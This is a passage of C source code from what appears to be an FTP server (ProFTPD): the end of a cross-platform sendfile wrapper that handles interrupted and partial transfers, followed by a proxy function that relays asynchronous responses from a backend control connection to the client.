     * the maximum value used can only be of the maximum _signed_ value,
     * not the maximum unsigned value.  This means calling sendfile() more
     * times.  How annoying.
     */

#if defined(HAVE_LINUX_SENDFILE)
    if (count > INT_MAX)
      count = INT_MAX;

#elif defined(HAVE_SOLARIS_SENDFILE)
# if SIZEOF_SIZE_T == SIZEOF_INT
    if (count > INT_MAX)
      count = INT_MAX;
# elif SIZEOF_SIZE_T == SIZEOF_LONG
    if (count > LONG_MAX)
      count = LONG_MAX;
# elif SIZEOF_SIZE_T == SIZEOF_LONG_LONG
    if (count > LLONG_MAX)
      count = LLONG_MAX;
# endif
#endif /* !HAVE_SOLARIS_SENDFILE */

    len = sendfile(PR_NETIO_FD(session.d->outstrm), retr_fd, offset, count);

    if (len != -1 &&
        len < count) {
      /* Under Linux semantics, this occurs when a signal has interrupted
       * sendfile().
       */
      if (XFER_ABORTED) {
        errno = EINTR;

        session.xfer.total_bytes += len;
        session.total_bytes += len;
        session.total_bytes_out += len;
        session.total_raw_out += len;

        return -1;
      }

      count -= len;

      /* Only reset the timers if data have actually been written out. */
      if (len > 0) {
        if (timeout_stalled) {
          pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE);
        }

        if (timeout_idle) {
          pr_timer_reset(PR_TIMER_IDLE, ANY_MODULE);
        }
      }

      session.xfer.total_bytes += len;
      session.total_bytes += len;
      session.total_bytes_out += len;
      session.total_raw_out += len;
      total += len;

      pr_signals_handle();
      continue;

    } else if (len == -1) {
      /* Linux updates offset on error, not len like BSD, fix up so
       * BSD-based code works.
       */
      len = *offset - orig_offset;
      *offset = orig_offset;

#elif defined(HAVE_BSD_SENDFILE)
    /* BSD semantics for sendfile are flexible...it'd be nice if we could
     * standardize on something like it.  The semantics are:
     *
     *   #include <sys/types.h>
     *   #include <sys/socket.h>
     *   #include <sys/uio.h>
     *
     *   int sendfile(int in_fd, int out_fd, off_t offset, size_t count,
     *                struct sf_hdtr *hdtr, off_t *len, int flags)
     *
     *  The comments above, about size_t versus off_t, apply here as
     *  well.  Except that BSD's sendfile() uses an off_t * for returning
     *  the number of bytes sent, so we can use the maximum unsigned
     *  value.
     */

#if SIZEOF_SIZE_T == SIZEOF_INT
    if (count > UINT_MAX)
      count = UINT_MAX;
#elif SIZEOF_SIZE_T == SIZEOF_LONG
    if (count > ULONG_MAX)
      count = ULONG_MAX;
#elif SIZEOF_SIZE_T == SIZEOF_LONG_LONG
    if (count > ULLONG_MAX)
      count = ULLONG_MAX;
#endif

    if (sendfile(retr_fd, PR_NETIO_FD(session.d->outstrm), *offset, count,
        NULL, &len, 0) == -1) {

#elif defined(HAVE_MACOSX_SENDFILE)
    off_t orig_len = count;
    int res;

    /* Since Mac OSX uses the fourth argument as a value-return parameter,
     * success or failure, we need to put the result into len after the
     * call.
     */

    res = sendfile(retr_fd, PR_NETIO_FD(session.d->outstrm), *offset, &orig_len,
        NULL, 0);
    len = orig_len;

    if (res == -1) {
#elif defined(HAVE_AIX_SENDFILE)

    memset(&parms, 0, sizeof(parms));

    parms.file_descriptor = retr_fd;
    parms.file_offset = (uint64_t) *offset;
    parms.file_bytes = (int64_t) count;

    rc  = send_file(&(PR_NETIO_FD(session.d->outstrm)), &(parms), (uint_t)0);
    len = (int) parms.bytes_sent;

    if (rc == -1 || rc == 1) {

#endif /* HAVE_AIX_SENDFILE */

      /* IMO, BSD's semantics are warped.  Apparently, since we have our
       * alarms tagged SA_INTERRUPT (allowing system calls to be
       * interrupted - primarily for select), BSD will interrupt a
       * sendfile operation as well, so we have to catch and handle this
       * case specially.  It should also be noted that the sendfile(2) man
       * page doesn't state any of this.
       *
       * HP/UX has the same semantics, however, EINTR is well documented
       * as a side effect in the sendfile(2) man page.  HP/UX, however,
       * is implemented horribly wrong.  If a signal would result in
       * -1 being returned and EINTR being set, what ACTUALLY happens is
       * that errno is cleared and the number of bytes written is returned.
       *
       * For obvious reasons, HP/UX sendfile is not supported yet.
       */
      if (errno == EINTR) {
        if (XFER_ABORTED) {
          session.xfer.total_bytes += len;
          session.total_bytes += len;
          session.total_bytes_out += len;
          session.total_raw_out += len;

          return -1;
        }

        pr_signals_handle();

        /* If we got everything in this transaction, we're done. */
        if (len >= count) {
          break;

        } else {
          count -= len;
        }

        *offset += len;

        if (timeout_stalled) {
          pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE);
        }

        if (timeout_idle) {
          pr_timer_reset(PR_TIMER_IDLE, ANY_MODULE);
        }

        session.xfer.total_bytes += len;
        session.total_bytes += len;
        session.total_bytes_out += len;
        session.total_raw_out += len;
        total += len;

        continue;
      }

      error = errno;
      fcntl(PR_NETIO_FD(session.d->outstrm), F_SETFL, flags);
      errno = error;

      return -1;
    }

    break;
  }

  if (flags & O_NONBLOCK)
    fcntl(PR_NETIO_FD(session.d->outstrm), F_SETFL, flags);

  if (timeout_stalled) {
    pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE);
  }

  if (timeout_idle) {
    pr_timer_reset(PR_TIMER_IDLE, ANY_MODULE);
  }

  session.xfer.total_bytes += len;
  session.total_bytes += len;
  session.total_bytes_out += len;
  session.total_raw_out += len;
  total += len;

  return total;
}
Example #9
0
int proxy_ftp_ctrl_handle_async(pool *p, conn_t *backend_conn,
                                conn_t *frontend_conn) {
    if (!(proxy_sess_state & PROXY_SESS_STATE_CONNECTED)) {
        /* Nothing to do if we're not yet connected to the backend server. */
        return 0;
    }

    while (TRUE) {
        fd_set rfds;
        struct timeval tv;
        int ctrlfd, res, xerrno = 0;

        /* By using a timeout of zero, we effect a poll on the fd. */
        tv.tv_sec = 0;
        tv.tv_usec = 0;

        pr_signals_handle();

        FD_ZERO(&rfds);

        ctrlfd = PR_NETIO_FD(backend_conn->instrm);
        FD_SET(ctrlfd, &rfds);

        res = select(ctrlfd + 1, &rfds, NULL, NULL, &tv);
        if (res < 0) {
            xerrno = errno;

            if (xerrno == EINTR) {
                pr_signals_handle();
                continue;
            }

            (void) pr_log_writefile(proxy_logfd, MOD_PROXY_VERSION,
                                    "error calling select(2) on backend control connection (fd %d): %s",
                                    ctrlfd, strerror(xerrno));
            return 0;
        }

        if (res == 0) {
            /* Nothing there. */
            break;
        }

        pr_trace_msg(trace_channel, 19,
                     "select(2) reported %d for backend %s (fd %d)", res,
                     backend_conn->remote_name, ctrlfd);

        if (FD_ISSET(ctrlfd, &rfds)) {
            unsigned int resp_nlines = 0;
            pr_response_t *resp;

            pr_timer_reset(PR_TIMER_IDLE, ANY_MODULE);

            pr_trace_msg(trace_channel, 9, "reading async response from backend %s",
                         backend_conn->remote_name);

            resp = proxy_ftp_ctrl_recv_resp(p, backend_conn, &resp_nlines);
            if (resp == NULL) {
                xerrno = errno;

                (void) pr_log_writefile(proxy_logfd, MOD_PROXY_VERSION,
                                        "error receiving response from backend control connection: %s",
                                        strerror(xerrno));

                errno = xerrno;
                return -1;
            }

            res = proxy_ftp_ctrl_send_resp(p, frontend_conn, resp, resp_nlines);
            if (res < 0) {
                xerrno = errno;

                (void) pr_log_writefile(proxy_logfd, MOD_PROXY_VERSION,
                                        "error sending response to frontend control connection: %s",
                                        strerror(xerrno));

                errno = xerrno;
                return -1;
            }
        }

        break;
    }

    return 0;
}